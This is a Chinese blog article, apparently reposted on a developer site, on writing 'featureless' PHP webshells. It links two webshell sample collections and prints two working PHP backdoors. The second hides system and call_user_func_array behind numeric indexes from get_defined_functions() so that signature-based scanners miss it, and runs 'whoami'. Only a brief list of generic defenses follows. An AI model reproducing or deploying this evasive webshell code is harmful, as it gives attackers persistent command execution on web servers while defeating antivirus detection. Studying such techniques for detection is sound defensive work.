内容简介:WebShell就是将PHP、ASP、JSP等代码以网页形式,编写成命令、代码执行的环境。最开始用于网站的管理,后来逐渐被用于网站后门。WebShell可谓是千变万化,编程语言不同、编码不同等等衍生出大量后门。于此同时WebShell和杀软以及安全防护产品形成相互对抗的动态形势。在《攻击者发现绕过系统安全新方法:无文件攻击快速增长》一文中提到“恶意黑客开发部署恶意软件的方式发生了转变,快速转向了高度动态的攻击,可以频繁变形以躲过标准安全产品的检测。”其实并不是限于PowerShell和WMI。WebShe
1. 简介
WebShell就是将 PHP 、ASP、JSP等代码以网页形式,编写成命令、代码执行的环境。最开始用于网站的管理,后来逐渐被用于网站后门。WebShell可谓是千变万化,编程语言不同、编码不同等等衍生出大量后门。于此同时WebShell和杀软以及安全防护产品形成相互对抗的动态形势。在《攻击者发现绕过系统安全新方法:无文件攻击快速增长》一文中提到“恶意黑客开发部署恶意软件的方式发生了转变,快速转向了高度动态的攻击,可以频繁变形以躲过标准安全产品的检测。”其实并不是限于PowerShell和WMI。
2. 文件和特征
WebShell作为非常流行的后门方式,可谓变化万千,但是通常总是存在一些文件和特征,通过在杀毒软件的追踪查杀,基本能做到有迹可循。但是发现一些高级攻击,能够通过无文件、无特征、反取证技术来规避检测与权限维持。
2.1. 常见的WebShell
在GITHUB上已经有很多人员在收集WebShell,所以在我们收集样本时会非常轻松。一些常见的WebShell收集的Github如下:
1. webshell收集项目 https://github.com/tennc/webshell
2. Webshell 样本 https://github.com/ysrc/webshell-sample
在这之中,能够找到大量流行的Webshell,它们大多数存在留有文件、使用常见代码执行、命令执行函数等特点。这些脚本容易被安全产品进行检测,成为这些WebShell的弊端之一。
2.2. 无特征WebShell
在特征上能够被轻易安全产品检测,那么没有特征没有文件就能够有效规避安全产品的检测和查杀。
使用无特征WebShell分别依靠两个函数:
1、ignore_user_abort
详解:ignore_user_abort适用于PHP4、5、7中,设置客户端断开连接时是否中断脚本的执行,PHP 以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。
2、get_defined_functions
详解:get_defined_functions适用于PHP4>=4.0.4、PHP5、7中,返回所有已定义函数的数组。
在了解这些函数之后,那么如何让这些函数成为WebShell?
3. 无特征Webshell编写
使用get_defined_functions函数进行举例说明。使用get_defined_functions()遍历所有的函数, func_get_args()接受传来的参数,然后将特定函数放在call_user_func_array()之中进行命令执行。
使用脚本如下:
<?php
function testfunc(){
$conf = get_defined_functions();
$args = func_get_args();
$conf_id = array_shift($args);
$conf_name = $conf['internal'][$conf_id];
$tmp = 0;
if($conf_name == "system"){
print call_user_func_array($conf_name, $args)."<br>";
$tmp = 1;
}
return $tmp;
}
for ($x=0; $x<=50000; $x++){
$tmp = testfunc($x, "whoami");
if($tmp == 1){
break;
}
}
?>
执行结果:
看到这点肯定会有所疑问,这个不是有特征么?我们应该如何编写无特征?请看下面的脚本。
<?php
function f(){
$f = get_defined_functions()['internal'];
$a = func_get_args();
$t = $f[797]($a); //797 array_shift
$c = $f[$t];
return $f[549]($c, $a);//549 call_user_func_array
}
$tmp = f(457,"whoami");//457 system
?>
执行结果:
4. 如何检测和防御
关于如何检测?
1、这种方式通过会话流的形式已经很难检测,所以需要在终端进行防御。
2、在终端对于PHP调用函数执行过程进行严格的过滤检查,不能仅仅限于HASH或者静态函数。
3、对于PHP可读可写权限以及可以执行代码的目录进行严格限制。
4、采用虚拟化环境运行,防止对于实际以及系统造成影响。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Pandas多维特征数据预处理及sklearn数据不均衡处理相关技术实践-大数据ML样本集案例实战
- 特征工程:特征获取、特征规范和特征存储
- 特征工程之特征缩放 & 特征编码
- 特征工程:特征设计、特征可用性评估
- [译] 为什么要做特征缩放,怎么做特征缩放,什么时候做特征缩放?特征缩放三连了解一下
- 特征金字塔特征用于目标检测
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Hacking Growth
Sean Ellis、Morgan Brown / Crown Business / 2017-4-25 / USD 29.00
The definitive playbook by the pioneers of Growth Hacking, one of the hottest business methodologies in Silicon Valley and beyond. It seems hard to believe today, but there was a time when Airbnb w......一起来看看 《Hacking Growth》 这本书的介绍吧!